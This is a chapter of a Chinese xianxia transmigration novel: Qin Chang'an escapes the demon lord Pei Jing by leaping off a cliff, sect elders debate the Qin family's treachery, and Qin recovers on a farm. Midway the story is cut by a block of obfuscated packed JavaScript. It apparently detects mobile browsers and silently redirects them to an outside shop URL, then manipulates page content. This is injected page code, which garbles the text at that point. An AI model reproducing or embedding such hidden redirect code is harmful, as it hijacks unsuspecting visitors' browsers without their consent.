秦常安屏着呼吸,连指尖都不敢轻动,蹑手蹑脚地一点点往前挪。
星星磷火闪烁,昏暗的穴洞里尸堆成山,血流蜿蜒成溪,顺着崎岖不平的地面缓缓流淌。
一人站在尸山血海中央,白衣似雪,墨发如瀑,苍白的侧脸在微弱的火光下显得十分柔和,他就静静地站在那儿,神色平淡,矜贵出尘,不似凡间人。
滴——
血珠自剑尖淌下,细微的声响在死寂的洞穴里格外刺耳。
裴璟原本低着头,不知怎的,墨色瞳仁微转,毫无波澜地秦常安的方向看去。
秦常安瞬间汗毛倒竖。
不好!
他拔腿就朝洞穴狂奔,可惜,他还未跑出三步远,身后骤然掀起一股摧枯拉朽的强劲剑气,毫无预兆地将他掀翻在地。
天旋地转间,轰隆一声,山岩在中间坍塌,碎石杂草树枝都被劲风掀翻,漫天泥沙将四周糊成一片。
秦常安狼狈地爬在地上,五脏六腑犹如被车碾过一般,钻心剜骨地剧痛顺着四肢百骸疯狂蔓延,疼的他浑身抽搐。
他狂咳不止,眼前阵阵发黑,只能勉强眯眼盯向尘雾中缓缓走来的白色身影。
—叮叮叮
铁链碰撞的声音越来越近,白皙得几乎透明的赤足停在离他五步远的正前方,平淡无波澜的声音在他耳边响起,不带半分情绪:
“你是谁?”
秦常安看着前面的脚,半死不活地心想:“真好看,一个大男人脚长那么好看做什么?!”
他想张嘴说话,可堵在胸口的淤血压制不住,不受控制地狂涌而出。
“——咳咳咳……噗—”
铁锈味弥漫在唇齿间,秦常安感觉自己的胃快炸开了。他忍着疼痛支起胳膊,刚准备哑着嗓子说话时,就听见前面的人道::
“不说?无妨,死人罢了。”
死人?!
还没等他做出任何反应,一道凛冽刺骨的剑光已带着破空之声,从他头顶骤然闪过。秦常安脑中警铃大作,求生欲瞬间冲破了所有疼痛,在心里疯狂嘶吼:我嘞个乖乖!大佬你睁大眼睛看看!我现在这副半死不活的样子,是能说得出话的吗?!下手也太狠了吧!
他苦叫连叠,靠着强烈的求生欲连滚带爬地躲开袭来的一击,弧光自耳边闪过,铮的一声,碎石乱溅,山岩就被剑划出一道极深极长的弧迹。
秦常安看着山岩上的剑痕,摸摸自己还存在的脑袋,后背瞬间被冷汗浸透,他抬头瞥见裴璟身后,洞外月光泠泠,似有几棵杂草丛生,风一吹就轻轻晃动,那处地势他方才窥探时隐约记得,是一处陡峭悬崖!
心下一横,秦常安咬碎牙:不管了,搏一搏,说不定还有一线生机,若是落在这煞神手里,横竖都是死!!
他一边冲前方的悬崖跑去,一边扯着破锣般的嗓音嘶吼:“裴璟,我知道九幽菩提花在哪儿?我可以帮你……”话还未说完,胸腔骤然传来一阵尖锐的剧痛。
秦常安不可置信地缓缓低下头,看着胸前透出的冰冷刀刃,鲜血顺着刀刃源源不断地涌出,染红了衣衫。
他僵硬地转头,看向身后面无表情的裴璟。
裴璟缓缓拔出长剑,幽寒如寒潭的眸子微微眯起,一字一句问道:“你是如何得知九幽菩提花的?”
秦常安口流鲜血拼尽全力的吐出一句话:“我……艹”。
“什么?”裴璟眉峰微。
秦常安跌倒在地,狼狈地向前方爬去,随手抓起身旁的碎石,拼命朝着身后的裴璟扔去。
碎石簌簌滚落,裴璟只是微微侧身,便轻松躲过,居高临下地俯视着爬在秦常安,墨色的眸子只余冰冷。
鲜血从秦常安的胸口伤口汩汩流出,在碎石拖出一条长长的,刺目的血路。
只见躺在血泊里的秦常安气息微弱道:“你身负剧毒,灵脉俱损,再加上魔骨被夺,如今的你,怕是也活不长吧。”
裴璟目光暗了暗。
“你想知道我是如何得知的?”秦常安拖着残破的身体,一点点爬到悬崖尽头,支起身体,转头冲裴璟灿烂一笑,声音微弱又清晰:
“下辈子吧!”
说罢,人向后一仰,垂直地从悬崖跌下。
裴璟微愣,连忙飞到崖边,冷冷地盯着悬崖脚,树繁叶茂,云雾缭绕,什么都看不见,他将剑随意丢掉,转头走了几步突然停下,看向自己手,微不可察地皱了一下眉毛。
……刚才的第一击,应该不会偏的。
心下正迷惑不解,刹那间,天遽然大变。
地动山摇,天昏地暗,大片黑云汹涌而至,雷电轰鸣犹如千军万马奔腾,狂风呼啸乱作,树木拦腰折断,发出凄厉声响,暴雨般轰隆巨响在黑云中炸开,上千天雷仿佛裹挟着千钧之力随时砸下。
裴璟仰头望向那毁天灭地的天象,似是想到了什么,漆黑的眸子顿时一暗,他唇角上扬:“好,很好,我到要看看你在耍什么把戏?”
说罢,他孤身走进黑暗之中,身影也渐渐消失。
之后,沧阳山被天雷劈了三天三夜,待各个宗门遣人来找人时,只见山从中间坍塌,已有溪水湍流。
魔尊裴璟也无缘无故失踪,各门派派出大量人手苦苦寻找,无果。一时间,魔尊失踪的消息不胫而飞,传至大街小巷,有人说魔头裴璟是作恶多端,天道不容,便降下天雷灭了灾祸,也有人说消息虚假,裴璟已回到魔族,就等卷土而来。
具体情况,却无人知晓。
*
七日后。
鸾霞郡,青云宗
仙雾缭绕的山门高耸入云,巍峨的山门上刻满古老的山符,隐隐透露神秘气息,峰巅传来阵阵仙鸟的鸣叫声,如琴音般悠扬。
顺着玉白铺成的蜿蜒小路,欧阳莫一步踏入正堂。
正堂中央,两位男子正在下棋,左边温润雅俊,右边豪放不羁。
欧阳莫乖巧地站在那儿,沉默不语。
“将军。”左边身穿青雀色缎裳,面色和善的男子缓缓道,他手捻白棋,将对方的黑棋吃掉。
右边的麻衣男子思忖半晌,突然明白了其中的门路,他睁大眼睛。
“好你个狡猾的狐狸,这把不算,我们重来。”
青衣男子微微一笑,温言道:“忘尘,这已经是第一百五十六局了,你又输了!”
麻衣男子大眼睛好像瞪得越大了,他涨红脸,不服气地说:“你个老狐狸,给我下套,故意引我走这步,我不管,这步不算,我们重来!”
“忘尘,落子不悔,你心浮气躁,总是只顾眼前,从不理会其中的深意,输了,很正常。”
“哼!”忘尘偏过头,不满道:“扶泽,这么多年过去了,你心眼还是这么多。”
扶泽轻轻一笑,“古人言,天下大事,必作于易,天下大事,必作于细,若无深思熟虑,又怎能成大事而且……”
忘尘赶紧阻拦道“我知道了,我知道了,小莫还在旁边站着呢,先问问他情况吧”
扶泽将注意力转移到欧阳莫身上,他问道:“欧阳,此次调查得如何?”
欧阳莫毕恭毕敬道:“回师尊,前几日,秦家小公子带着一行人打着降妖除魔的称号前往京城,实则刚一到就神神秘秘地进入皇宫,而且根据弟子的调查,秦家现任族长夫人曾是燕国的嫡长公主,且传闻燕国和东越关系一向不太好,……陵阳城发生的一系列事可能与他们脱不了干系。”
忘尘闻言,皱了皱眉头。
仙家的人不可过多涉及凡间事,这是自古以来就立下的规矩,仙家和人间本就应该互不干涉,一来是为了维持凡间秩序,若是仙家的人过多干涉的话,坏了凡间因果关系,后果就不堪设想,二来是北武大帝曾立下仙家三十二条约,其中有一条就是不可害无辜凡人性命。若陵阳城上百件惨案都是秦家所为的话,此事就非同小可。
忘尘偷偷瞥了一眼扶泽,见他还是一派淡定自若的样,心里不由道:“这事他早料到了?”
欧阳莫道:“弟子还有一事。”
忘尘道:“何事?”
欧阳莫道:“裴璟失踪,应该是秦家所为。”
“哦?”一直沉默的扶泽问道:“何出此言?”
欧阳莫道:“提出此事的是秦家族长,且裴璟一直由秦家人看管,若是秦家早与魔族私通的话,这何尝不是一个机会,况且制定此次计划也是秦家族长,他们分三波人,一波负责押送,另外两波负责转移注意力,但负责押送的一波人是实力最弱的,而且炼狱山虽说是北武大帝曾镇压邪魔的圣地,但那里现已邪气滋生,绝对不是一个好选择,而且他们还派出秦常安。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393242|200339||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“秦常安?”忘尘喃喃自语道:“秦问那小子的儿子?!”
说罢,他突然意识到什么,猛得拍桌子,切齿道:“这秦修明真不是个东西!”
“要不是秦问这小子无缘无故失踪,秦家族长的位置他是断然坐不上去的,秦问不在,狼子野心就按耐不住了,又是和魔族私通,又是和皇家牵扯,看我这就去剁了他!”忘尘怒气冲冲地道。
“且慢。”坐在一旁的扶泽抬眼看向忘尘,最终叹口气道:“你以为这件事又有几人知晓?”
经扶泽的提醒,忘尘好似想到什么,恍然大悟道:“你们这些老鬼,早就知道会发生这件事,所以才会这么淡定,我说呢,对于此事,你们一点也不关心,不过,你们可真够狠的,冷眼旁观别人送死。”
扶泽淡淡道:“修行之道,量力而行,不自量力,难逃一死”
忘尘和欧阳莫都沉默了
修仙之路,本就是荆棘丛生,强者为尊,若是不擦亮眼睛,便是死路一条。
忘尘问道:“所以就放着裴璟不管了?!”
“因果轮回,皆有定数。”扶泽拾起一颗白棋,将其掷于棋罐中。
欧阳莫与忘尘面面相觑,皆是不解。
扶泽也不做解释,他转身微笑道:“说来,青云宗许久未招新生了,欧阳,传下去,青云宗近日要举办升仙大会。
*
秦常安站在悬崖边上,眼前是雾霭飘渺,天地空阔,蓝天白云下,一排仙鹤在山间徐徐飞行。
这是哪儿?
秦常安打量四周,还未等他反应过来,一道水龙从天而降,席卷而来,从层层叠叠的云雾中闯出,散落在天地之间,水雾袅袅,在漫天水雾中影影绰绰显露出一道少年身影。
高高的马尾扬起,点缀在发间的红色发带随风飞动。
“天道酬勤,地道酬善,人道酬诚……”
少年声音清脆嘹亮,响彻四方。
秦常安微愣,问:“你是谁?”
眼前之人听身后有人叫他,缓缓转过身来,一副面孔模糊不清,眼前的身影渐渐消散,秦常安连忙向他跑去,大喊问道:“你是秦问吗?”
那人嘴唇嚅动。
“他以后就交给你了。”
他听那人说道。
碰的一声
——梦醒了。
秦常安从床上跌了下来。
阿花刚走进屋,就见原本躺在床上的人摸着屁股躺在地上哎呦哎呦叫个不停。
阿花笑了笑,将药放在桌子上,温声说:“常安哥,你没事吧,可以喝药了。”
“没事儿,多谢阿花妹妹”
秦常安回答道,他一瘸一拐地走到桌边,将药一饮而尽,瞬间面色扭曲。
“这药怎么这么苦啊?!”
这时走进来一位跛脚老人,弯腰弓背,鹤骨霜鬓,混浊的眼睛里透着一丝精光。他哼了一声,颐指气使道:“臭小子,老夫废了多大的劲才将你从鬼门关救了回来,你还敢嫌弃这儿,嫌弃那儿。”说着,他向秦常安伸出手。
秦常安一脸疑惑。
“给钱啊!人可不是白救的。”
闻言,秦常安僵硬地扯出微笑来:“如果我没有钱该怎么办?”
“没有钱?”张老头冷笑一声:“那就用你自己来还吧”
秦常安:“???”
*
看着一边无际的垂头麦穗,秦常安有点崩溃。
“这得拔到猴年马月呀!”
“我还身负重任呢!!!”
“张老头,你快放我走吧!”
“扑腾”一声,一个扫帚迎面飞来。
“不把那亩地的小麦拔完就不准吃饭!”张老头在屋内骂骂咧咧:“年轻小伙子,干这点活就累死累活!哪像老夫年轻的时候…………”
躺在门外的秦常安叼了一根狗尾巴草,学着张老头哼哼着道:“像老夫年轻的时候,老夫可以一天锄完这片地,背三袋大米到街上卖,徒步二十路程都不带累得…”
“扑腾”一声,一双鞋子又飞了出来,“臭小子,还敢学老夫说话!!”
秦常安灵活地扭动身体,躲过这一击,他得意一笑,正准备开口嘲讽老头,便听见系统道:
“宿主,裴璟在这儿附近……”